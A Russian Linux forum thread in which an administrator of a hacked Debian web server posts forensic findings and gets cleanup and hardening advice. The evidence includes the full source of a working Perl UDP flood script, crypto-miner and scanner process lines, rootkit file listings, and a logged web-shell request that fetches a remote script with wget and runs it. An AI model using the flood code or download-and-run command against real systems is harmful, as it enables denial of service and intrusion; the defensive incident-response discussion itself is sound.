LINUX.ORG.RU

Взломали веб-сервер

 , ,


3

6

Здравствуйте. Взломали веб-сервер. Как определить, с помощью чего взломали? Сервер используется в качестве Веб-сервера.

Я новичок в линуксе uname -a Linux webserver.ru 3.2.0-0.bpo.4-686-pae #1 SMP Debian 3.2.51-1~bpo60+1 i686 GNU/Linux

cat /etc/debian_version 6.0.8 (делал обновление с Debian 5, ставил ядро с поддержкой Hyper-V)

На сервере установлен ispconfig 3, webmin 1.570, phpMyAdmin - 2.11.8.1deb5+lenny9 На сервере крутятся около 8 сайтов, не представляющих особой ценности кроме их владельцев.

Как обнаружил. Сервер получил в наследство на стареньком железе, стал переносить сервер на гипервизор. Обнаружил, что сервер сильно использует ЦП.

Обнаружил левые процессы запущенные от www-data:

PID  USER     PRI  NI  VIRT   RES   SHR S CPU% MEM%   TIME+  Command
11651 www-data  20   0  5236  3108  1296 R 92.0  0.1 12:21.44 /usr/sbin/sshd -i
11655 www-data  20   0  5236  3132  1312 R 90.0  0.2 12:14.92 /usr/sbin/sshd -D
9743 www-data  39  19 54764  1016   756 R 78.0  0.0  3h06:50 rsyslogd -B -c
8966 www-data  20   0  3812  1980  1496 R 41.0  0.1 16:07.84 /usr/bin/perl ./udp 91.206.161.200 25 129600
19030 www-data  20   0  3964  2244  1680 R 38.0  0.1  3h40:51 /usr/bin/perl ./udp mail.saatchi.ro 25 129600
7270 www-data  20   0  3964  2248  1680 R 37.0  0.1 22:24.20 /usr/bin/perl ./udp mail.saatchi.ro 25 129600

А также:

Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0    566 MY.IP.ADDR:ssh      61.160.251.136:4159     ESTABLISHED
tcp        0      0 MY.Host.Name:ssh     61.160.251.136:2256     TIME_WAIT
и пара таких же соединений с:
116.236.180.115:49537   ESTABLISHED
116.236.180.115:56453   ESTABLISHED

В каталоге /tmp скрипт udp-флуда и

#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
 printf "$0 <ip> <port> <time>\n";
 printf "if arg1/2 =0, randports/continous packets.\n";
 exit(1);
}

my ($ip,$port,$size,$time);
 $ip=$ARGV[0];
 $port=$ARGV[1];
 $time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
    $iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
 goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
 goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
 system("(sleep $time;killall -9 udp) &");
 goto randpackets;
}

packets:
for (;;) {
 $size=$rand x $rand x $rand;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
 $size=$rand x $rand x $rand;
 $port=int(rand 65000) +1;
 send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

И еще:

3607 www-data  39  19 54768  1240   948 R 90.0  0.1  8h20:46 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
 3606 www-data  39  19 54768  1240   948 R 89.0  0.1  6h44:47 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
 3608 www-data  39  19 54768  1240   948 R 67.0  0.1  8h19:16 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x
 3605 www-data  39  19 54768  1240   948 R 60.0  0.1  9h36:35 ./minerd -a scrypt -o stratum+tcp://stratum01.hashco.ws:8888 -u bitcoin4ever.d2ViLmhhcmQubm92LnJ1 -p x

Я убил левые процессы, ограничил в iptables доступ к webmin, ispconfig, снес wget (но не почистил кеш) почистил /tmp и все что смог найти, связанное с этим.

Спустя пару дней, обнаружил каталог /dev/shm с распакованным и запущенным minerd, а также много новых процессов:

2222 www-data  20   0  6580  1000   800 S  0.0  0.0  0:00.02 /tmp/php --target 113.146.129.241 --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80
 2244 www-data  20   0  3504   744   744 S  0.0  0.0  0:00.01 /tmp/php --target 182.236.101.5 --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80
2992 www-data  20   0 3051M   744   644 S  0.0  0.0  0:00.52 /tmp/pnscan -rApache -wHEAD / HTTP/1.0\r\n\r\n 144.0.0.0/8 8080
 2995 www-data  20   0 3051M   744   644 S  0.0  0.0  0:00.53 /tmp/pnscan -rApache -wHEAD / HTTP/1.0\r\n\r\n 144.0.0.0/8 8080

и т.п. Очень большой лог apache - error.log (500Mb), попытки очистить syslog:

Dec 15 06:30:01 web /USR/SBIN/CRON[28096]: (CRON) error (grandchild #28103 failed with exit status 127)
Dec 15 06:30:01 web /USR/SBIN/CRON[28095]: (CRON) error (grandchild #28101 failed with exit status 127)
Dec 15 06:31:01 web /USR/SBIN/CRON[30286]: (www-data) CMD (>/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30287]: (root) CMD (/lib/httpd >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30289]: (root) CMD (/dev/shm/.UNIX/update >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30288]: (www-data) CMD (/tmp/.ICE-unix/.log/-log/" "/.../mon >/dev/null 2>&1)
Dec 15 06:31:01 web /USR/SBIN/CRON[30285]: (CRON) error (grandchild #30289 failed with exit status 127)
Dec 15 06:31:02 web /USR/SBIN/CRON[30284]: (CRON) error (grandchild #30287 failed with exit status 127)

[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] rm: cannot remove `/var/log/syslog': Permission denied
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] touch: 
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] cannot touch `/var/log/syslog'
[Sun Dec 15 17:41:07 2013] [error] [client 93.167.111.126] : Permission denied

Также смогли установить следующие пакеты: Установлено: python-setuptools python-argparse_1.1-1_all.deb python-setuptools_0.6.14-4_all.deb python-pkg-resources wget_1.12-2.1_i386.deb (который я снес)

Вот что в настоящее время можно увидеть:

lsof -i
COMMAND     PID      USER   FD   TYPE    DEVICE SIZE/OFF NODE NAME
php         596  www-data    5u  IPv4   1262689      0t0  TCP MY.Host.Name:50019->lab1.producao.uff.br:www (ESTABLISHED)
php         596  www-data   26u  IPv4  19743968      0t0  TCP MY.Host.Name:47320->182.18.7.57:www (CLOSE_WAIT)
php         596  www-data   41u  IPv4  19743824      0t0  TCP MY.Host.Name:55161->182.18.6.138:www (CLOSE_WAIT)
php         596  www-data   49u  IPv4  19742451      0t0  TCP MY.Host.Name:45678->182.18.7.69:www (CLOSE_WAIT)
php         596  www-data   52u  IPv4  19743819      0t0  TCP MY.Host.Name:53275->182.18.6.132:www (CLOSE_WAIT)
php         596  www-data   61u  IPv4  19742313      0t0  TCP MY.Host.Name:44806->182.18.6.155:www (CLOSE_WAIT)
php         596  www-data   63u  IPv4  19742309      0t0  TCP MY.Host.Name:44439->182.18.6.153:www (ESTABLISHED)
php         596  www-data  101u  IPv4  19742394      0t0  TCP MY.Host.Name:60003->182.18.7.5:www (CLOSE_WAIT)

Выдержка от rkhunter:

[13:25:06] /sbin/ifconfig                                    [ Warning ]
[13:25:07] Warning: File '/sbin/ifconfig' has the immutable-bit set.
[13:25:07] Warning: File '/sbin/ifconfig' has the immutable-bit set.
[14:05:08] Warning: Scalper Worm                             [ Warning ]
[14:05:09]          File '/tmp/.a' found
[14:05:38] Warning: SHV4 Rootkit                             [ Warning ]
[14:05:38]          File '/usr/include/file.h' found
[14:05:39]          File '/usr/include/hosts.h' found
[14:05:39]          File '/usr/include/log.h' found
[14:05:40]          File '/usr/include/proc.h' found
[14:06:00] Warning: SHV5 Rootkit                             [ Warning ]
[14:06:01]          File '/etc/sh.conf' found
[14:06:01]          File '/lib/libsh.so/bash' found
[14:06:02]          File '/usr/include/file.h' found
[14:06:02]          File '/usr/include/hosts.h' found
[14:06:03]          File '/usr/include/log.h' found
[14:06:03]          File '/usr/include/proc.h' found
[14:06:04]          File '/lib/libsh.so/shhk' found
[14:06:04]          File '/lib/libsh.so/shhk.pub' found
[14:06:05]          File '/lib/libsh.so/shrs' found
[14:06:06]          File '/usr/lib/libsh/.bashrc' found
[14:06:06]          File '/usr/lib/libsh/shsb' found
[14:06:07]          File '/usr/lib/libsh/hide' found
[14:06:07]          File '/usr/lib/libsh/.sniff/shsniff' found
[14:06:08]          File '/usr/lib/libsh/.sniff/shp' found
[14:06:08]          Directory '/lib/libsh.so' found
[14:06:09]          Directory '/usr/lib/libsh' found
[14:06:10]          Directory '/usr/lib/libsh/.backup' found
[14:15:43] Warning: Checking for possible rootkit strings    [ Warning ]
[14:15:44]          Found string 'propert of SH' in file '/sbin/ttyload'. Possible rootkit: SHV5 Rootkit
[14:15:45]          Found string 'ttyload' in file '/etc/inittab'. Possible rootkit: Possible SHV5 Rootkit
[14:19:44]   Checking for TCP port 47018                     [ Warning ]
[14:19:45] Warning: Network TCP port 47018 is being used by /tmp/php. Possible rootkit: Possible Universal Rootkit (URK) component
           Use the 'lsof -i' or 'netstat -an' command to check this.
[14:27:10]   Checking /dev for suspicious file types         [ Warning ]
[14:27:13] Warning: Suspicious file types found in /dev:
[14:27:13]          /dev/shm/log.php.29: ASCII text
[14:27:14]          /dev/shm/log.php.28: ASCII text
[14:27:14]          /dev/shm/log.php.27: ASCII text
[14:27:15]          /dev/shm/log.php.25.1: very short file (no magic)
[14:27:15]          /dev/shm/log.php.26: ASCII text
[14:27:16]          /dev/shm/log.php.25: very short file (no magic)
[14:27:16]          /dev/shm/minerd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, stripped
[14:27:16]          /dev/shm/minerd.log: ASCII text
[14:27:17]          /dev/shm/minerd.tar.gz: gzip compressed data, from Unix, last modified: Mon Dec 16 17:37:17 2013
[14:27:22]   Checking for hidden files and directories       [ Warning ]
[14:27:23] Warning: Hidden directory found: /dev/.udev
[14:27:24] Warning: Hidden directory found: /dev/.initramfs
[14:27:24] Warning: Hidden file found: /dev/shm/.zz: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:24] Warning: Hidden file found: /dev/shm/.aa: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:25] Warning: Hidden file found: /dev/shm/.xxx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped
[14:27:25] Warning: Hidden file found: /dev/shm/.xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.8, not stripped

Насколько я понимаю, сервер легче переустановить, чем пытаться его реанимировать, тем более, что на него были успешно залиты скрипты и запущены, в том числе эксплоиты.

Проблема в том, что на сервер много что завязано, переустановка оси это то, что хотелось бы делать в последнюю очередь. Также мне не понятно, каким способом закинули скрипты и главное, как смогли установить недостающие пакеты. Если уязвимость в Webmin, ISPconfig или phpmyadmin, то это можно решить ограничением доступа к ним, что я и сделал поначалу, а если проблема в том, что был взломан один из работающих на сервере сайтов, то переустановка ОС может не принести желаемого результата. Еще раз напомню, в Линуксе новичок, просьба сразу не пинать :)


Если процессы запущены от www-data, значит у тебя скорее всего сам сайт дырявый и позволяет выполнять обычному пользователю произвольный php код в виде запуска shell команд. Рекомендую журнал php посмотреть. А так же есть вопросы относительно того какой свежести ваш web сервер.

rezedent12 ☆☆☆
()

На сервере установлен ispconfig 3, webmin 1.570, phpMyAdmi

вот это всё снесите нафиг, смените пароль рута, и учитесь админить через консоль (можно и нужно дома, на кошках локалхосте), по ssh. Само ssh тоже настройте по человечески.

emulek
()
Ответ на: комментарий от invokercd

Я думаю, что доставлены. Т.к. перед «вторым» взломом была попытка залить такой вот эксплоит:

wget http://m0.pexit.cu.cc/-log/.log/min.tgz
Время создания файлов новое. Самое печальное, если в системе сидит бэкдор или т.п., к тому же есть подозрения на то, что некоторые файлы были скомпрометированы. Например, при первом взломе, rkhunter и chkrootkit ругались на ifconfig, netstat.

Сейчас пробую использовать проверку файлов на контрольные суммы:

   dpkg -l \*|while read s n rest; do if [ "$s" == "ii" ]; then echo $n;
   fi; done > ~/tmp.txt
   for f in `cat ~/tmp.txt`; do debsums -s -a $f; done

При отработке было сообщения, что то подпись не

kuhnsn
() автор топика

Как определить, с помощью чего взломали?

ispconfig 3

Если ispconfig 3 такой же «новый» как и дебиан 6, то возможно через него, помнется, там с год назад были фиксы дыр, потом просто перестал следить.

Если уязвимость в Webmin, ISPconfig или phpmyadmin, то это можно решить ограничением доступа к ним

А смысл, они всё равно от рута толкают скрипты.

Umberto ★☆
()
Ответ на: комментарий от kuhnsn

При отработке было сообщения, что то подпись не

печально...

emulek
()

В качестве лечения. Выпиливаешь и убиваешь всё подозрительное. И переустанавливаешь все пакеты в системе. И конечно же просмотри все важные системные скрипты типа rc.local на предмет запуска троянов.

rezedent12 ☆☆☆
()
Ответ на: комментарий от RedEyedMan3

и вообще man ssh_config

во первых man 5 sshd_config

во вторых мне зачем? Кастуй ТСа.

в третьих порт ssh необходимо сменить на $RANDOM

emulek
()
Ответ на: комментарий от RedEyedMan3
netstat -anp |grep LISTEN
tcp        0      0 0.0.0.0:54631           0.0.0.0:*               LISTEN      1623/rpc.statd
tcp        0      0 127.0.0.1:10024         0.0.0.0:*               LISTEN      1867/amavisd (maste
tcp        0      0 127.0.0.1:10025         0.0.0.0:*               LISTEN      3044/master
tcp        0      0 0.0.0.0:3306            0.0.0.0:*               LISTEN      1927/mysqld
tcp        0      0 127.0.0.1:783           0.0.0.0:*               LISTEN      2002/spamd.pid
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      1612/portmap
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      3395/perl
tcp        0      0 0.0.0.0:113             0.0.0.0:*               LISTEN      2956/oidentd
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      30701/pure-ftpd (SE
tcp        0      0 0.0.0.0:4949            0.0.0.0:*               LISTEN      3265/munin-node
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 my.ip.address:53       0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 127.0.0.1:53            0.0.0.0:*               LISTEN      2941/mydns
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1835/sshd
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      3044/master
unix  2      [ ACC ]     STREAM     LISTENING     6835   3078/saslauthd      /var/spool/postfix/var/run/saslauthd/mux
unix  2      [ ACC ]     STREAM     LISTENING     8205   1867/amavisd (maste /var/lib/amavis/amavisd.sock
unix  2      [ ACC ]     STREAM     LISTENING     6728   2673/clamd          /var/run/clamav/clamd.ctl
unix  2      [ ACC ]     STREAM     LISTENING     11351  3044/master         public/cleanup
unix  2      [ ACC ]     STREAM     LISTENING     11356  3044/master         private/tlsmgr
unix  2      [ ACC ]     STREAM     LISTENING     11359  3044/master         private/rewrite
unix  2      [ ACC ]     STREAM     LISTENING     11362  3044/master         private/bounce
unix  2      [ ACC ]     STREAM     LISTENING     11365  3044/master         private/defer
unix  2      [ ACC ]     STREAM     LISTENING     11368  3044/master         private/trace
unix  2      [ ACC ]     STREAM     LISTENING     11371  3044/master         private/verify
unix  2      [ ACC ]     STREAM     LISTENING     11374  3044/master         public/flush
unix  2      [ ACC ]     STREAM     LISTENING     11377  3044/master         private/proxymap
unix  2      [ ACC ]     STREAM     LISTENING     11380  3044/master         private/proxywrite
unix  2      [ ACC ]     STREAM     LISTENING     11383  3044/master         private/smtp
unix  2      [ ACC ]     STREAM     LISTENING     11386  3044/master         private/relay
unix  2      [ ACC ]     STREAM     LISTENING     11389  3044/master         public/showq
unix  2      [ ACC ]     STREAM     LISTENING     11392  3044/master         private/error
unix  2      [ ACC ]     STREAM     LISTENING     11395  3044/master         private/retry
unix  2      [ ACC ]     STREAM     LISTENING     11398  3044/master         private/discard
unix  2      [ ACC ]     STREAM     LISTENING     11401  3044/master         private/local
unix  2      [ ACC ]     STREAM     LISTENING     11404  3044/master         private/virtual
unix  2      [ ACC ]     STREAM     LISTENING     11407  3044/master         private/lmtp
unix  2      [ ACC ]     STREAM     LISTENING     6494   1927/mysqld         /var/run/mysqld/mysqld.sock
unix  2      [ ACC ]     STREAM     LISTENING     11410  3044/master         private/anvil
unix  2      [ ACC ]     STREAM     LISTENING     11413  3044/master         private/scache
unix  2      [ ACC ]     STREAM     LISTENING     11416  3044/master         private/maildrop
unix  2      [ ACC ]     STREAM     LISTENING     11419  3044/master         private/uucp
unix  2      [ ACC ]     STREAM     LISTENING     11422  3044/master         private/ifmail
unix  2      [ ACC ]     STREAM     LISTENING     11425  3044/master         private/bsmtp
unix  2      [ ACC ]     STREAM     LISTENING     11428  3044/master         private/scalemail-backend
unix  2      [ ACC ]     STREAM     LISTENING     11431  3044/master         private/mailman
unix  2      [ ACC ]     STREAM     LISTENING     11434  3044/master         private/amavis
unix  2      [ ACC ]     STREAM     LISTENING     5112   1824/dbus-daemon    /var/run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     6772   2890/authdaemond    /var/run/courier/authdaemon/socket.tmp
unix  2      [ ACC ]     STREAM     LISTENING     5107   1814/acpid          /var/run/acpid.socket
unix  2      [ ACC ]     STREAM     LISTENING     7004   3311/python         /var/run/fail2ban/fail2ban.sock
unix  2      [ ACC ]     STREAM     LISTENING     215808712 20810/perl          /var/run/munin/munin-server-socket.20810

рутовый доступ по ssh закрыт, включена поддержка только протокола v2

kuhnsn
() автор топика
Ответ на: комментарий от kuhnsn

В том и дело, запущенные процессы от пользователя www-data

Это фронт-энд вебсервер крутит, а скрипты которые вносят непосредственные изменения и настройки работают от рута.

А до этого админ панели не были закрыты для открытого доступа?

Umberto ★☆
()
Последнее исправление: Umberto (всего исправлений: 1)
Ответ на: комментарий от Umberto

не были. я стал переносить его на виртуалку и обнаружил большую нагрузку на ЦП. после этого стал разбираться.

kuhnsn
() автор топика
Ответ на: комментарий от kuhnsn

Для начала, поставьте openvpn, на какой-нибудь 41245, всё остальное административное, и ssh первым делом, перевесить на нестандартные порты и разрешить доступ только из vpn сети, от админского ip.

Umberto ★☆
()
Ответ на: комментарий от rezedent12

Server version: Apache/2.2.16 (Debian)

Вот, что нашел в access.log

GET /a/pwn.jsp?cmd=wget+http%3A%2F%2F221.132.37.26%2Fscen+-O+%2Ftmp%2Fsh%3Bsh+%2Ftmp%2Fsh%3Brm+-rf+%2Ftmp%2
Fsh HTTP/1.0" 404 207 "-" "-"
kuhnsn
() автор топика
Ответ на: комментарий от Umberto

Спасибо всем за советы и помощь!

Сейчас закрою доступ, как Вы говорите.

Прошу прощение, в последний пост поторопился и вставил не удобный для чтения код

GET /a/pwn.jsp?cmd=wget+http://221.132.37.26/scen+-O+/tmp/sh;sh+/tmp/sh;rm+-rf+/tmp%2 Fsh HTTP/1.0" 404 207 "-" "-"

kuhnsn
() автор топика

дебиан на помойку выкинь, ставь центос, изучи селинукс, можешь отдельные сайты в квм запускать

anonymous
()
Ответ на: комментарий от Sense

нинада советовать устаревшие технологии

anonymous
()

phpMyAdmin

Все эти php* управлялки/администрялки/cms дырявы. Да и не php, часто, тоже. Потому, если что поставил, следи за обновлениями.

А по поводу «никому не нужен» - новые ноды для ботнета всегда нужны. Их и ищут автоматом.

AS ★★★★★
()
Ответ на: комментарий от anonymous

дебиан на помойку выкинь, ставь центос, изучи селинукс, можешь отдельные сайты в квм запускать

И что поменяется ? Будет ботнет-нода в KVM, и всё.

AS ★★★★★
()
Ответ на: комментарий от Umberto

а скрипты которые вносят непосредственные изменения и настройки работают от рута.

90%, что ничего там от рута нет. Записали в /tmp, да запустили. Хотя, какой-то процент того, что всё серьёзнее, исключать нельзя.

AS ★★★★★
()
Ответ на: комментарий от AS

Если у тебя тысяча сайтов на одном серваке, что бы ты предпочел - очистить одну ноду или полностью все?

anonymous
()
Ответ на: комментарий от anonymous

там едро поломано

Букв там много... Но я не заметил пока того, что где-то грабли серьёзные упоминались. Всё писалость только в общедоступные /dev/shm и /tmp.

AS ★★★★★
()
Ответ на: комментарий от anonymous

Если у тебя тысяча сайтов на одном серваке, что бы ты
предпочел - очистить одну ноду или полностью все?

Если у тебя тысяча сайтов на одном серваке, то на отдельных нодах у тебя сервер пукнет, вероятнее всего. Так что тут вопрос цена/защищённость. Если клиент платит, то можно, а если не очень платит, то накладно.

AS ★★★★★
()
Ответ на: комментарий от anonymous

Друзья, еще раз спасибо всем за советы, помощь и критику. К сожалению, на 100% установить способ не удалось. Веду постоянный мониторинг сервера. Что сделал... Т.к. действительно была вероятность что ядро поломано или были скомпрометированы некоторые системные пакеты, в том числе те, которые были указаны при проверке rkhunter-ом, сделал некоторые предосторожности:

  • 1. снес webmin
  • 2. снес phpmyadmin (мне он не нужен, если понадобится программистам, поставлю, естественно ограничив доступ к нему)
  • 3. почистил систему от ненужных / опасных пакетов
  • 4. разумеется, почистил систему от внедренного ПО, что было обнаружено
  • 5. обновил ядро
  • 6. переставил некоторые пакеты
  • 7. зарезал в iptables все что можно, не только на входящие, но и на установку ИСХОДЯЩИХ соединений (на тот случай, если что-то осталось в системе, типа какого-нибудь бота и т.п.)
  • 8. Согласно данным мне советам, доступ к серверу ограничен для административных нужд, порты поменяны.
  • 9. Установлен debsums.
  • 10. Снес wget.
  • 11. Удалены не использующиеся учетные записи, проверены все учетки на предмет доступа к шелу
  • 12. Изменены пароли.
  • 13. Мониторю сервер, в том числе на предмет попытки установить соединения с удаленными хостами.
  • 14. Планирую обновление до последней версии дистрибутива
  • 15. Планирую обновление ispconfig

В CentOS есть возможность установить плагин для установки обновлений безопасности, добавлено в cron (yum update --security -y). В Debian не знаю, есть ли такие плагины для apt-get или aptitude, буду гуглить на предмет наличия, чтобы добавить пункт 16.

Если появятся новости, обязательно сообщу.

Еще раз, ВСЕМ огромное спасибо!

kuhnsn
() автор топика
Ответ на: комментарий от kuhnsn

Еще наплохо было бы cron проверить. ( sudo -u www-data crontab -e)

disee ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.